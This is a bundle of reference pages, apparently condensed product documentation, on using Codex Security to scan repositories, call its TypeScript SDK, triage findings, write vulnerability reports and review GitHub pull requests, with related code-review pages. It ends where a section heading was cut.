| Run a Codex Security scan | Start with a standard scan for an initial review or routine repository/component assessment; it runs the full scan workflow once. | [scans.md](./scans.md) |
| Codex Security TypeScript SDK | Run Codex Security scans on repositories and code changes from TypeScript via `@openai/codex-security`. The SDK returns typed findings, coverage details, and paths to scan artifacts, and supports preflight checks, cost limits, progress callbacks, and cancellation. ESM; runs server-side on Node.js 22 (22.13.0 or later), 24, or 26; scanning also requires Python 3.10+ (3.10 needs `tomli`). Running scans requires Codex Security access. For best results use an account verified for Trusted Access for Cyber (signing in or providing an API key doesn't grant it). | [sdk.md](./sdk.md) |
| Propose security hardening | Use `$codex-security:propose-security-hardening` to turn security evidence into structural or architectural hardening options. Analyzes a completed Codex Security scan or supplied findings, disclosure reports, incident reviews, assessment documents, and source code. | [security-hardening.md](./security-hardening.md) |
| Security Review | Research preview. Automatic or on-demand security review of a GitHub pull request diff, run alongside (or independently of) general Code Review — analyzes the PR diff, supporting repository context, and configured threat model for security-specific risks. Available to Enterprise, Business, Edu, and Pro workspaces; not available on Plus. | [security-review.md](./security-review.md) |
| Improve the Cloud threat model | Update a monitored repository's threat model when the generated version misses security assumptions or deployment context. This guide applies to Codex Security Cloud; for local plugin policy see "Configure the scan" in scans.md. | [threat-model.md](./threat-model.md) |
| Triage a backlog | Use `$codex-security:triage-finding` to review existing security findings against the current repository. This is a read-only static analysis: Codex treats each finding as an unproven claim and inspects repository evidence without executing code. | [triage-backlog.md](./triage-backlog.md) |
| Write vulnerability reports | Use `$codex-security:vulnerability-writeup` to create a self-contained report for each distinct vulnerability, from Codex Security scan results or supplied findings, disclosure notes, PoCs, and source code directly. A Codex Security scan isn't required. | [vulnerability-reports.md](./vulnerability-reports.md) |
| Use the Codex Security workbench | The Security workbench brings scans, findings, and repositories together in the Codex desktop app. Codex performs scan analysis in a regular task, while the workbench keeps results available on return. | [workbench.md](./workbench.md) |
references/security/scans.md
# Run a Codex Security scan
Start with a standard scan for an initial review or routine repository/component assessment; it runs the full scan workflow once.
## Signature / Usage
Desktop app: **Security** → **Scans** → **+ Scan** → choose repository/folder → **Codebase**.
Conversation prompt:
```text
Use $codex-security:security-scan to scan this repository for security vulnerabilities.
```
Scoped to a folder:
```text
Use $codex-security:security-scan to scan this repository for security vulnerabilities, focusing on the services/billing component.
```
## Scan phases
1. **Threat modeling** — assets, entry points, trust boundaries, security invariants
2. **Finding discovery** — plausible broken controls and source-to-sink paths
3. **Validation** — tests/checks each candidate, records evidence or proof gaps
4. **Impact and path analysis** — realistic paths, impact, severity
5. **Reporting** — validated findings, coverage, scan metadata (detailed per-finding reports are optional for standard scans)
6. **Structural hardening** (when available) — design guidance from the finding set
7. **Finalization** — validates the structured scan contract, generates `report.md`
## Configure the scan
For the best scan quality use `gpt-5.6-sol` with `xhigh` reasoning effort. In the desktop app: select **Codebase** and leave **Deep scan** off; confirm the repository, current branch, and latest revision; set **Scan area** to the entire repository or one folder (scan the whole repository when it's a reasonable review unit; for a monorepo choose one folder when a service, package, or component has an owner and security boundary); choose a model and reasoning effort; use **Additional context** for attacker-controlled inputs, trust boundaries, sensitive actions, or an area to prioritize; select **Start scan**.
## Follow scan progress and review the result
- The workbench shows the current phase and reported progress; select **View activity** to inspect the Codex task. Review the final result after the scan finishes, since findings can change while Codex checks the evidence.
- Review order: confirm the target, revision, and scan area; read reviewed surfaces and deferred or follow-up areas; for each finding check how an attacker reaches the affected code, which control fails, what impact the evidence supports, the validation method, and unresolved questions; investigate findings with missing evidence (dismiss a finding only when you can explain why it doesn't apply, and keep that explanation); select one accepted finding before starting a fix. A completed scan and complete coverage are separate claims, and source-based validation can support a finding without a runtime reproduction (ask for validation of the specific finding to resolve execution-dependent uncertainty).
- Use your first scan as a baseline: decide what you want to compare (such as evidence quality or false positives), record whether a known finding was provided to Codex or withheld, and record the repository revision, plugin version, model, and reasoning effort to compare later scans.
- Reopen a previous scan: open **Security**, select a saved scan from **Scans** to review its findings, coverage, and report artifacts; start a new scan to assess the latest code (it doesn't replace the earlier scan or its artifacts).
- Use the results: open `report.md` for a portable report and keep its scan directory together when sharing or archiving it; see export-findings.md for other formats or issue tracking and fix-findings.md after accepting a finding.
## Notes
- Add `SECURITY.md` (repo root, or nested for directory-specific guidance) for persistent security guidance: threat model, invariants, reportable-finding criteria, exclusions, severity context. The closest file to the code takes precedence. Treated as policy context, not executable instructions
- Use `AGENTS.md` for supported build/validation commands
- For a more thorough assessment after reviewing standard-scan results, use a [deep scan](./deep-scans.md)
## Related
- [Run a deep security scan](./deep-scans.md)
- [Fix and verify security findings](./fix-findings.md)
- [Export and track security findings](./export-findings.md)
references/security/sdk.md
# Codex Security TypeScript SDK
Run Codex Security scans on repositories and code changes from TypeScript via `@openai/codex-security`. The SDK returns typed findings, coverage details, and paths to scan artifacts, and supports preflight checks, cost limits, progress callbacks, and cancellation. ESM; runs server-side on Node.js 22 (22.13.0 or later), 24, or 26; scanning also requires Python 3.10+ (3.10 needs `tomli`). Running scans requires Codex Security access. For best results use an account verified for Trusted Access for Cyber (signing in or providing an API key doesn't grant it).
## Signature / Usage
```bash
npm install @openai/codex-security
```
Before a scan set `OPENAI_API_KEY` or `CODEX_API_KEY`, use an existing file-backed Codex sign-in, or configure another provider (Amazon Bedrock uses AWS credentials; OpenRouter and Fireworks use provider API keys and configuration). The SDK runs with your local operating-system permissions and doesn't pause for approval; scan processes can inherit your environment.
```ts
import { CodexSecurity } from "@openai/codex-security";
const security = new CodexSecurity();
try {
const result = await security.run("/path/to/repository", {
outputDir: "/path/outside/repository/results",
});
console.log(result.reportPath);
console.log(result.manifest.scan.status);
console.log(result.findings.findings.length);
} finally {
await security.close();
}
```
`run` starts the scan, waits for completion, validates the saved artifacts, and returns a `ScanResult` when `result.manifest.scan.status` is `"completed"` (a completed scan can still have coverage gaps; runtime, input, or result-integrity failures can throw). `close` releases the isolated runtime.
Preflight:
```ts
const plan = await security.preflight("/path/to/repository", {
target: ["services/billing", "packages/auth"],
knowledgeBasePaths: ["/path/to/architecture.md"],
outputDir: "/path/outside/repository/results",
});
```
Scan targets:
```ts
await security.run(repo, { target: ["services/billing", "packages/auth"] }); // selected paths
const target = DiffTarget.refs({ base: "origin/main", head: "HEAD" }); // committed changes (head defaults to HEAD)
await security.run(repo, { target });
const wt = DiffTarget.workingTree({ base: "HEAD" }); // staged and unstaged vs base (default HEAD)
await security.run(repo, { target: wt });
await security.run(repo, {
target: ["services/billing"], mode: "deep",
workers: 2, subagents: 0, stopAfterNoNew: 3, maxDiscoveryRuns: 10, maxTimeHours: 1.5,
});
```
Runtime configuration:
```ts
const security = new CodexSecurity({
pluginPath: "/path/to/codex-security-plugin",
pythonPath: "/path/to/python",
codexOverrides: {
model: "gpt-6.1-sol",
model_reasoning_effort: "medium",
},
});
```
## Options / Props
`ScanOptions` (selected):
| Name | Type | Description |
|------|------|-------------|
| `outputDir` | string | Private results directory outside the enclosing Git worktree (omitted: persistent state directory) |
| `target` | string[] \| DiffTarget | Paths or a diff/working-tree target; default is the complete repository |
| `mode` | `"standard"` \| `"deep"` | Scan mode; deep supports repository and path targets only |
| `workers` / `subagents` / `stopAfterNoNew` / `maxDiscoveryRuns` / `maxTimeHours` | number | Deep-mode settings (require `mode: "deep"`); `maxTimeHours` defaults to `96`, accepts fractions up to `96` |
| `knowledgeBasePaths` | string[] | Architecture/threat-model/policy files or directories (`.md`, `.markdown`, `.txt`, `.pdf`, `.docx`); directories searched recursively; linked inputs rejected |
| `scanPrompt` / `postScanPrompt` | string | Focus the scan / request a follow-up (a failing follow-up keeps the completed scan, reports via `onWarning`, and restores artifacts it changed) |
| `maxCostUsd` | number | Estimated cost limit (not a hard cap); can return a completed result with a budget warning for deep scans, otherwise throws `ScanCostLimitExceededError` |
| `auth` | `"chatgpt"` \| `"api-key"` | Explicit credential selection (also accepted by `preflight`) |
| `archiveExisting` | boolean | Archive an existing output directory before starting |
| `expectedPluginVersion` | string | Reject the scan if the installed plugin version differs (e.g. `result.pluginVersion`) |
| `signal` | AbortSignal | Cancellation |
Callbacks: `onAuthentication`, `onOutputArchived(archiveDir)`, `onOutputDirReady(scanDir)`, `onScanStarted`, `onTrustedAccessStatus` (`granted` / `not_granted` / `unknown`; missing or unknown also triggers `onWarning`), `onReconnect(attempt, maxAttempts)`, `onActivity`, `onProgress` (`phase`, `filesCompleted`, `filesTotal`), `onWorkerStatus`, `onSessionEvent` (not redacted; may contain source code or credentials), `onCost` (`estimatedUsd`), `onWarning`, `onObserverError`.
`ScanResult` (selected):
| Property | Contents |
|----------|----------|
| `manifest` | Sealed scan manifest (target, scope, producer, artifact records; `manifest.scan.status`) |
| `findings` | Findings from the current scan (`findings.findings`; optional `codeEvidence`, `rootCause`, `validation`, `attackPath`, `remediationTests`, `preventiveControls`) |
| `repositoryFindings` | Open findings across repository scans, when scan history is available (`confirmedInLatestScan`) |
| `coverage` | Reviewed surfaces, exclusions, deferred work, open questions |
| `scanDir` / `reportPath` / `manifestPath` / `findingsPath` / `coveragePath` / `artifactsDir` / `sarifPath` | Artifact paths (`sarifPath` is `null` when absent) |
| `threadId` / `turnResult` | Codex task metadata |
| `cost` | Estimated model and token cost or `null` |
| `pluginVersion` | Scan producer version |
`result.toJSON()` returns manifest, repository and current-scan findings, coverage, identifiers, `reportPath`, `artifactsDir`, `sarifPath`, cost, and turn metadata.
Authentication methods: `loginApiKey(apiKey)`, `loginChatGPT()`, `loginChatGPTDeviceCode()` (login handle: `waitForInstructions`, `authUrl`, `verificationUrl`, `userCode`, `wait`, `cancel`), `account()`, `logout()`.
## Notes
- Preflight checks local inputs (repository, target, mode, knowledge base, output location, Codex configuration) without starting Codex, loading credentials, or checking Python and plugin availability; a successful preflight doesn't prove the scan can authenticate or start. With `archiveExisting: true` the returned `archiveDir` previews naming; capture the real path with `onOutputArchived`.
- Cost limits: if a deep scan reaches `maxCostUsd` after aggregating completed worker results, `run` can return `manifest.scan.status` `"completed"` with the budget warning via `onWarning` (check `result.coverage` for unfinished work); if it can't produce a valid completed result it throws `ScanCostLimitExceededError` and preserves any output.
- Defaults: scans use `gpt-5.6-sol` with extra-high reasoning effort; set `model` and `model_reasoning_effort` in `codexOverrides` for another model (choose one your credentials can access; check GPT-6.1 Sol availability with ChatGPT sign-in). For Amazon Bedrock set `model_provider` and `model` in `codexOverrides`. For OpenRouter/Fireworks also provide the API key and a complete provider configuration (`model_provider`, `model_providers.<id>` with `name`, `base_url`, `env_key`, `wire_api: "responses"`; Fireworks: `name` `Fireworks AI`, `env_key` `FIREWORKS_API_KEY`, `base_url` `https://api.fireworks.ai/inference/v1`). `codexOverrides` can't restrict the scan's filesystem access or change its approval policy.
- When both an API key and a stored sign-in exist the SDK uses the API key; pass `auth: "chatgpt"` to override, or `auth: "api-key"` to require an environment API key. The SDK can reuse a file-backed Codex sign-in; use API keys for CI and server-side automation.
- Errors to catch: `AuthenticationRequiredError`, `ConfigurationError`, `InvalidTargetError`, `OutputDirectoryError`, `OutputInsideProtectedRootError`, `PluginPythonUnavailableError`, `PluginBootstrapError`, `ScanCostLimitExceededError`, `IncompleteScanError`, `ContractValidationError`, `ScanInterruptedError` (has `scanDir`; an interrupted scan can leave partial output, so preserve it for investigation). Cancel with `AbortSignal.timeout(...)`.
- New results don't include `coverage.completeness`; use `manifest.scan.status` for execution status and review `coverage` deferred surfaces, exclusions, and open questions.
- Publicly available at `github.com/openai/codex-security`; for general coding agents (not security-specific) see the Codex SDK guide in `security-automation`.
## Related
- [Codex Security CLI quickstart](./cli-quickstart.md)
- [Codex Security CLI reference](./cli-reference.md)
- [Run Codex Security in CI](./cli-ci.md)
references/security/security-hardening.md
# Propose security hardening
Use `$codex-security:propose-security-hardening` to turn security evidence into structural or architectural hardening options. Analyzes a completed Codex Security scan or supplied findings, disclosure reports, incident reviews, assessment documents, and source code.
## Signature / Usage
```text
Use $codex-security:propose-security-hardening to analyze [scan directory or finding paths] against [source tree and revision]. Develop evidence-backed structural hardening options with engineering tradeoffs, before-and-after diagrams, a migration plan, and an implementation handoff. Do not modify the repository.
```
The result is a design portfolio, not a patch — it doesn't prove that it fixes a vulnerability. Codex changes the repository only after an option is selected and Codex is explicitly asked to make the change.
## Notes
- Provide: scan directory or explicit findings/reports, target source tree and revision, PoCs/traces/incident evidence, and constraints (performance, memory, compatibility, reliability, operations, delivery time, change scope)
- Can conclude that local fixes are more proportionate than an architectural change
- Example: repeated authorization bugs may suggest a shared control is easier to enforce than checks in each handler; the evidence may instead support keeping a local fix.
- Before choosing an option check that the proposal connects each change to findings, source, and threat-model evidence; describes the current design and the security invariants to preserve; compares distinct options (residual risk, performance, reliability, operations, compatibility, migration cost); supports its recommendation with evidence and states assumptions and open questions; includes rollout, validation, rollback, and implementation guidance; and separates observed facts, inferences, and proposed design properties. An architecture diagram or design recommendation doesn't replace validation of the original findings or the implemented fix.
- You can request a hardening portfolio for a standard, deep, or change scan with reportable findings; Codex writes `hardening/hardening.md` (portfolio), `hardening/hardening.json` (structured analysis), and supporting proposals/diagrams under `hardening/`, linked from `report.md`. Keep the full scan directory together so links stay usable.
## Related
- [Write vulnerability reports](./vulnerability-reports.md)
- [Run a deep security scan](./deep-scans.md)
references/security/security-review.md
# Security Review
Research preview. Automatic or on-demand security review of a GitHub pull request diff, run alongside (or independently of) general Code Review — analyzes the PR diff, supporting repository context, and configured threat model for security-specific risks. Available to Enterprise, Business, Edu, and Pro workspaces; not available on Plus.
## Signature / Usage
Request manually by commenting on a pull request:
```text
@codex security review
```
## Options / Props
| Name | Description |
|------|-------------|
| Repository preferences | **Follow personal** (each contributor opts in), **Review all PRs**, or **Review team PRs** (ChatGPT workspace members). |
| Trigger | **On PR open**, **Every push**, or **Whenever code review runs** (requires Code Review enabled). |
| Threat-model context | Reuses an existing Codex Security scan's threat model, or a repository-checked-in threat model file; regenerated per review if unset. |
| Reporting threshold | Default: automatic reviews post **High**/**Critical**; manual reviews post **Medium**/**High**/**Critical**. Configurable independently per trigger type, with path-based overrides. |
## Notes
- Before you start: Codex Security Review access for your workspace, Codex cloud set up with a connected GitHub repository, and GitHub push or admin permission for the repository settings; an existing Codex Security scan is optional. Security reviews consume included Codex allowance or ChatGPT credits.
- Configure at `chatgpt.com/settings/code-review`: choose a repository, turn on **Auto security review** under **Review security vulnerabilities**, set **Review** (**Follow personal preferences**, **All PRs**, or **Team PRs** — members of your ChatGPT workspace, not a GitHub team — when available) and **Trigger** (**On PR open**, **On every push**, or **Whenever code review runs**, which requires Code Review). Repository settings are shared and affect the pull requests selected by the repository's **Review** policy; connecting GitHub or enabling personal reviews for another contributor doesn't request an extra review of your pull requests, later pushes can trigger another review per **Trigger**, and you can request additional reviews manually.
- Manual review: `@codex security review` — Codex reacts while running, then posts findings meeting the manual reporting threshold; open the associated Codex task and the **Security Report** tab for the full report (severity, attack path, supporting evidence, validation, remediation guidance). If no issues meet the threshold nothing is posted, so check the task status and full report before reading an empty comment result as a completed review with no findings.
- Findings posted to a PR inherit that PR's GitHub visibility — anyone who can view the PR (including public repos and outside contributors) can view them. The reporting threshold only controls what's posted to GitHub; the full report stays in the Codex task's **Security Report** tab.
- Distinct from [Review code changes for security](./code-changes.md): that page's `security-diff-scan` conversation prompt / CI invocation is a manually-triggered plugin skill run via `codex exec` or the desktop app's Scans flow, scoped to whatever diff you point it at. Security Review is GitHub-PR-native, can run automatically on push/open, and posts findings as PR comments directly.
- Code Review (general, non-security) can already surface security-related issues, so some overlap between the two is expected.
## Related
- [Review code changes for security](./code-changes.md)
- [Codex Security](./overview.md)
- [Codex Security cloud setup](./cloud-setup.md)
- [Improving the threat model](./threat-model.md)
references/security/threat-model.md
# Improve the Cloud threat model
Update a monitored repository's threat model when the generated version misses security assumptions or deployment context. This guide applies to Codex Security Cloud; for local plugin policy see "Configure the scan" in scans.md.
## Signature / Usage
A threat model is a short security summary of how your repository works. Codex Security creates the first draft from the code and uses it to guide future commit scans and prioritize findings. It describes:
- entry points and who can supply input to them
- trust boundaries and authentication or authorization assumptions
- sensitive data and privileged actions
- areas that need particular attention
Example:
> The public account API accepts authenticated users' JSON requests and file uploads. Users may change only accounts in their own tenant. The identity service authenticates the caller, but each handler must check tenant access. Billing changes go through a privileged internal service. Prioritize missing tenant checks and upload paths that can reach that service.
Edit the threat model: open the Codex Security Cloud plugin (see cloud-setup.md if you haven't installed it or configured commit monitoring), open **Repositories** and select the monitored repository, open **Monitoring settings**, edit **Threat model**, then select **Save**.
## Notes
- Changes apply to future scans only.
- Identify uncertain assumptions (e.g. don't describe an endpoint as internal-only unless that is true of the deployment you want assessed). Revisit the model after changes to authentication, tenant boundaries, or exposed services, and keep facts about the deployment separate from priorities for the scan.
- Earlier revisions of this page described editing at `chatgpt.com/codex/security/scans` → open repository → **Edit**; the current official page uses **Repositories** > **Monitoring settings**.
## Related
- [Codex Security cloud setup](./cloud-setup.md)
- [Codex Security](./overview.md)
- [Codex Security cloud FAQ](./cloud-faq.md)
references/security/triage-backlog.md
# Triage a backlog
Use `$codex-security:triage-finding` to review existing security findings against the current repository. This is a read-only static analysis: Codex treats each finding as an unproven claim and inspects repository evidence without executing code.
## Signature / Usage
Pasted or local findings:
```text
Use $codex-security:triage-finding to triage these existing security findings against this repository:
[Paste the findings or provide the artifact path.]
```
Jira/Linear:
```text
Use $codex-security:triage-finding to import and triage the security findings from [Jira or Linear issue URLs, identifiers, or query] against this repository.
Do not change the source issues.
```
GitHub:
```text
Use $codex-security:triage-finding to import and triage [code scanning, Dependabot vulnerabilities and malware, security advisories and private vulnerability reports, or all] from [owner/repository] against this repository.
```
## Options / Props
Finding sources:
| Source | What to provide | Requirements |
|--------|------------------|---------------|
| Pasted/local | SARIF, CVE/GHSA, advisory, scanner ticket, bug bounty report, Codex Security finding artifact, plain-language claim | None |
| Jira/Linear | Issue URLs/identifiers, JQL, or team/project/search phrase | Jira via Atlassian Rovo or Linear connector with read access |
| GitHub | Repository + finding source (code scanning, Dependabot, advisories/private vulnerability reports, or all) | Authenticated GitHub REST access (`gh auth token`, `GH_TOKEN`, `GITHUB_TOKEN`) |
Verdicts:
| Verdict | Meaning |
|---------|---------|
| `confirmed` | Repository evidence shows the path is reachable under stated preconditions and crosses a supported security boundary |
| `not_actionable` | Repository evidence rules out the claim (unaffected version, unreachable path, effective guard, non-shipped surface) |
| `needs_review` | Evidence insufficient — missing, ambiguous, runtime/environment/policy-dependent |
`confirmed` and `needs_review` findings are ranked separately by exploitability (positive integers starting at 1); `not_actionable` findings aren't ranked.
## Next steps
- Run from a Codex project scoped to the repository; Codex must be able to read the source code (connectors provide finding data, GitHub findings need authenticated REST access, neither replaces source access). Codex keeps one result per supplied finding in input order and doesn't merge or drop apparent duplicates. If no repository is named for GitHub findings, Codex uses the repository attached to the current Codex project when available; GitHub Issues aren't included by default (provide a specific issue or ask explicitly). Codex checks the current source and applicable `SECURITY.md` policy and records evidence for and against the claim plus unresolved questions. `confirmed` means supported by static repository evidence, not reproduced by executing the application.
- `confirmed`: after a person accepts the finding for remediation use `$codex-security:fix-finding` (triage prepares a prompt-ready handoff but doesn't invoke it automatically).
- `needs_review`: if running code can resolve the proof gap use `$codex-security:validation` (pass the finding claim, affected locations, preconditions, static evidence, and proof gaps): `Use $codex-security:validation to dynamically validate finding [triage item ID or source ID] from the backlog triage result. Reproduce or disprove the finding, record what you tested, and list any remaining uncertainty.` Validation may build or run code, create a test or proof of concept, or exercise a real interface (see agent-approvals-security.md for execution controls). If the finding depends on product policy or deployment context, answer the listed open questions before changing code.
- `not_actionable`: keep the evidence with your triage record; Codex doesn't automatically close or update the source ticket. Jira, Linear, and other backlog records remain unchanged unless you ask Codex to update them after reviewing the results.
- To look for vulnerabilities beyond the supplied backlog, run a security scan (scans.md).
## Notes
- Differs from `$codex-security:validation`, which can build/run code or exercise a real interface to reproduce/disprove a finding — triage classifies/ranks an existing backlog, validation resolves proof gaps with runtime evidence
- Doesn't modify the repository, implement fixes, or automatically write back to source tickets
- `confirmed` findings hand off to [`$codex-security:fix-finding`](./fix-findings.md) after a person accepts remediation
## Related
- [Run a Codex Security scan](./scans.md)
- [Fix and verify security findings](./fix-findings.md)
references/security/vulnerability-reports.md
# Write vulnerability reports
Use `$codex-security:vulnerability-writeup` to create a self-contained report for each distinct vulnerability, from Codex Security scan results or supplied findings, disclosure notes, PoCs, and source code directly. A Codex Security scan isn't required.
## Signature / Usage
```text
Use $codex-security:vulnerability-writeup to create one self-contained report for each distinct vulnerability in [input paths]. Verify the claims against [source path and revision], preserve or improve the supplied PoCs, and write the reports to [output directory]. Use a local test environment for reproductions.
```
Codex inventories the supplied material, groups reports describing the same root cause/vulnerable path, and creates one report directory per distinct vulnerability (Markdown report + optional `poc/` directory).
## Notes
- Provide: findings/disclosure notes/assessment documents, target source tree and affected revision, existing PoCs/logs/traces, fix commits/diffs, and the authorization boundary for testing
- Prepare the evidence: Codex checks each claim against the affected source code before writing the report; if the source or affected revision isn't available, decide whether to proceed with a report that identifies the unverified claims. Provide screenshots or diagnostic output as well when available.
- Use a local test environment for reproductions (the earlier revision's "never test a public or production target without explicit authorization" wording isn't on the current official page).
- Review each report before distributing: it traces the bug from the attacker-controlled entry point to the broken security invariant and impact; distinguishes verified behavior from hypotheses and unresolved constraints; includes source excerpts with paths, functions, and the affected revision; includes PoC source, build or run instructions, representative output, and safety limitations when a PoC is practical; uses portable paths without internal storage or local absolute paths.
- Detailed vulnerability reports are optional for standard, deep, and change scans. When requested, Codex writes each report to `findings/<slug>/<slug>.md`, stores supporting files under `findings/<slug>/poc/`, and links the report from `report.md`. Keep the complete scan directory together when sharing or archiving.
## Related
- [Run a deep security scan](./deep-scans.md)
- [Propose security hardening](./security-hardening.md)
references/security/workbench.md
# Use the Codex Security workbench
The Security workbench brings scans, findings, and repositories together in the Codex desktop app. Codex performs scan analysis in a regular task, while the workbench keeps results available on return.
## Signature / Usage
Install and enable the [Codex Security plugin](./plugin-quickstart.md), then select **Security** in the desktop-app sidebar.
Start a scan: **Scans** → **+ Scan** → select repository/folder → choose **Codebase** (full or deep scan) or **Changes** (Git-backed diff review; deep scan unavailable) → choose model/reasoning effort → optionally add **Additional context** → **Start scan**.
For best scan quality, use `gpt-5.6-sol` with `xhigh` reasoning effort.
## Views
| View | Purpose |
|------|---------|
| Scans | Start scans, follow progress (`View activity` opens the underlying Codex task), review saved results |
| Findings | Inspect issues and evidence across completed scans; `Summary` and `Patch` tabs |
| Repositories | Browse repositories/folders, scan history, latest revision, open findings |
## Notes
- Scope when starting a scan: for **Codebase** choose the entire repository or a folder (turn on **Deep scan** for repeated review); for **Changes** choose uncommitted changes, a commit, or a revision range (deep scans aren't available for changes). Use **Additional context** for threat-model or deployment details. Each scan runs in a Codex task you can open; you can leave the workbench and return to **Scans** without losing a saved scan, and **Stop scan** stops the work.
- Review findings: **Findings** supports search and filters; select a finding for its summary, source evidence, validation, and impact; **Summary** shows details and **Patch** generates, reviews, applies, or verifies a fix. **Repositories** shows scan history, latest scanned revision, and open findings, and lets you open a previous scan or start a scan from its details.
- If **Security** doesn't appear, confirm **Codex** is selected and the plugin is installed and enabled, update the desktop app and plugin, and check whether your workspace administrator allows the plugin.
- The **Findings** tab shows findings from saved Codex Security scans only; imported tickets belong to the separate [backlog triage workflow](./triage-backlog.md)
- Scans can also be started from a regular Codex conversation; they still appear in **Scans**
## Related
- [Codex Security plugin quickstart](./plugin-quickstart.md)
- [Run a Codex Security scan](./scans.md)
- [Run a deep security scan](./deep-scans.md)
- [Fix and verify security findings](./fix-findings.md)
references/third-party/code-review.md
# Code review
Use ChatGPT or Codex to understand code changes, investigate potential issues, and prepare review feedback: the Code Review plugin for pull requests, and the built-in `/review` command for local Git changes.
## Signature / Usage
```text
# Local changes (app composer, CLI, IDE extension; Git repository required)
/review
# Example prompt in a pull request chat
Walk me through this pull request. Focus on the default filter and what
happens when there are no matching issues. All should remain the default.
```
## Pull request reviews (app and web)
- The Code Review plugin shows a pull request's description, changed files, comments, and checks. In the desktop app it can be pinned to the sidebar from installed plugins.
- View a pull request: open **Code Review** -> connect a source account with repository access -> select a pull request or paste its link -> read **Summary** (description, activity, comments, checks) and **Changes** (files and comments beside the diff).
- Inbox (app): **Assigned to me**, **Assigned to my team**, **Authored by me**. Pin a review from its toolbar to find it under **Pinned**. In **Changes**, **Mark as viewed** applies to the displayed revision. **Stack** in **Summary** opens related dependent pull requests.
- Automatic cloud review: with the ChatGPT Codex connector, required repository permissions, and automatic reviews enabled, Codex can review a GitHub pull request before you open it; comments appear on GitHub and in Code Review. No cloud environment is required.
- Chat: describe expected behavior and ask Codex to explain or investigate the change; **Review with Codex** (app) starts a review in a new chat. Verify the referenced diff and tests.
- Review instructions (app): the gear next to **Review with Codex**, or **Settings** > **Code Review**. They apply to reviews started with **Review with Codex** across repositories; edits during a running review apply to the next review. Optional **Comic book**, **Visualization**, or **PDF** adds a suggested instruction.
```text
Start with a short summary. Prioritize behavior changes, data loss, and
missing edge-case tests. For each finding, explain the triggering input,
expected behavior, and actual behavior. Use our team's concise review style.
```
- Share feedback: reviewing in chat does not post comments, approve, or merge. Posting in **Summary** or **Changes** sends the comment to the source provider immediately, without waiting for **Submit review**. **Submit review** offers **Comment**, **Approve**, or **Request changes**.
- **Fix** in **Checks** (app, open pull request) attaches failing checks to the chat and prepares, but does not send, a message. For third-party CI, Codex can use the status and output reported to GitHub.
## Review local changes
| Client | How |
|--------|-----|
| App | `/review` in the composer -> **Review against a base branch** or **Review uncommitted changes**; also the review pane. Requires a project inside a Git repository (the app offers to create one). |
| CLI | `/review` opens presets: **Review against a base branch** (merge base), **Review uncommitted changes** (staged, unstaged, untracked), **Review a commit**, **Custom review instructions**. A dedicated reviewer reads the diff and does not change the working tree. |
| IDE extension | `/review` -> **Review against a base branch** or **Review uncommitted changes**. Appears only inside a Git repository. |
| ChatGPT Work (web) | Upload code or make it available via an installed source plugin; name the pull request, branch, commit, files, and criteria in the prompt. |
## Review pane (app)
- Default scope is **Unstaged**; also **Staged**, **Commit**, **Branch** (diff against base branch), **Last turn**. The pane reflects the Git repository state, including changes you made yourself.
- Multiple repositories: use the repository selector in the review header; **Last turn** shows **All repos**; other scopes apply to the selected repository.
- Inline comments: hover a line -> **+** -> write feedback -> submit, then send a follow-up chat message stating intent (for example, "Address the inline comments and keep the scope minimal."). Comments are treated as review guidance.
- Stage, unstage, or revert at the entire diff, per file, or per hunk level.
- Clicking a file name opens it in your chosen editor; clicking the name background expands or collapses the diff; Command-click a line opens that line in the editor.
- Results appear as inline comments in the review pane. Reviews run in the current chat by default; **Settings** > **General** > **Code review** -> **Detached** starts a separate review chat.
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `review_model` | `config.toml` key (CLI) | Use a different model for reviews than the current session |
| `chatgpt.reviewDelivery` | IDE setting | Set to `detached` so `/review` starts a separate review chat (default: current chat) |
## Notes
- GitHub code review is generally available; GitLab merge request support in Code Review is in preview.
- If you ask Codex to apply fixes it finds, your normal sandbox and approval settings apply.
- Editing pull request descriptions with attached images is not supported in Code Review; edit them in GitHub.
- Automatic cloud reviews are separate from reviews you start in the pull request's chat.
- Source: https://learn.chatgpt.com/docs/code-review (retrieved 2026-10).
## Related
- [Review GitHub pull requests with Codex](./github.md)
- [Review GitLab merge requests with Codex](./gitlab.md)
references/third-party/github.md
# Review GitHub pull requests with Codex
Use Codex code review to get another high-signal review pass on GitHub pull requests. Codex reviews the pull request diff, follows repository guidance from `AGENTS.md`, and posts a standard GitHub code review focused on serious issues. Security Review (research preview) provides a more in-depth review of potential security issues.
## Signature / Usage
```md
# In a pull request comment
@codex review
# Focus a review
@codex review for issues in the database migration
# Request a deeper security pass
@codex security review
# Act on findings
@codex fix the P1 issue
# Any other mention starts a legacy cloud chat with the PR as context
@codex fix the CI failures
```
## Set up
1. Make sure you have a GitHub repository connected to Codex (for legacy integration setup, see Codex Cloud (Legacy) in `../environments/cloud-environment.md`), access to Codex code review settings (`chatgpt.com/settings/code-review`), and an `AGENTS.md` if you want repository-specific review guidance.
2. Go to Codex settings (`chatgpt.com/settings/code-review`), choose your repository, and turn on **Automatic review** under **Review code**. Configuring automatic reviews requires a connected GitHub repository and GitHub push or admin permission for its settings.
3. To request a review manually, mention `@codex review` in a pull request comment and wait for Codex to react (👀) and post a review. In GitHub, Codex flags only P0 and P1 issues so comments stay focused on high-priority risks.
### Enable automatic reviews
Turn on **Automatic review** under **Personal preferences** in Codex settings and choose when reviews run with **Review trigger**. This applies to repositories with code review enabled and doesn't require an `@codex review` comment.
## Customize review rules
Codex searches the repository for `AGENTS.md` files and follows the applicable `## Code Review Rules` section (use `###` subheadings to group related checks), placed in the file closest to the code the rules govern. Root `AGENTS.md` holds repo-wide rules; a nested `AGENTS.md` (e.g. `services/experiment_reporting/AGENTS.md`) holds service-specific rules — Codex applies the root and the more-specific guidance for each changed file.
```md
## Code Review Rules
### Experiment cohorts
- Do not filter treatment comparisons on post-exposure behavior, including conversion or retention.
Safe path: build cohorts from assignment or exposure; report conversion as an outcome.
```
Start with two or three concise rules that encode checks reviewers often explain:
- Focus on consequential, repository-specific behavior (the compatibility constraint, data boundary, or unsafe side effect to flag, and why).
- State the safe path or exception so Codex can tell a real issue from expected behavior.
- Keep rules scoped and durable (outcomes over function names that can change; place guidance near the code).
- Leave mechanical checks (formatting, lint, other deterministic checks) in CI.
Open a representative pull request, request a review with `@codex review`, refine the rules based on findings, and narrow or remove guidance that produces noise.
## Security Review
